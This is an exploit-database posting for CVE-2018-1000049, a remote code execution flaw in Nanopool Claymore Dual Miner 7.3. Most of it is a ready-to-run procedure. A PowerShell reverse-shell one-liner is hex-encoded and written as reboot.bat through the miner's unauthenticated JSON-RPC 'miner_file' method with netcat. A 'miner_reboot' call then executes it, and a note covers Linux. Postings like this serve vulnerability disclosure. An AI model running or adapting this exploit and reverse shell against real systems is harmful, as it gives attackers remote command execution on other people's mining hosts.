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Nanopool Claymore Dual Miner 7.3 Remote Code Execution

Nanopool Claymore Dual Miner 7.3 Remote Code Execution
Posted May 17, 2018
Authored by ReverseBrain

Nanopool Claymore Dual Miner version 7.3 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-1000049
MD5 | 8623321185104823c8fa7a0e5ca0190f

Nanopool Claymore Dual Miner 7.3 Remote Code Execution

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# Exploit Title: Nanopool Claymore Dual Miner >= 7.3 Remote Code Execution
# Date: 2018/02/09
# Exploit Author: ReverseBrain
# Vendor Homepage: https://nanopool.org/
# Software Link: https://github.com/nanopool/Claymore-Dual-Miner
# Version: 7.3 and later
# Tested on: Windows, Linux
# CVE : 2018-1000049

Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:

powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Convert it into hexadecimal and paste it on the second parameter inside this string:

echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 127.0.0.1 3333 -v

Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
string to the miner.

echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 127.0.0.1 3333 -v

You got the shell!

This exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh.


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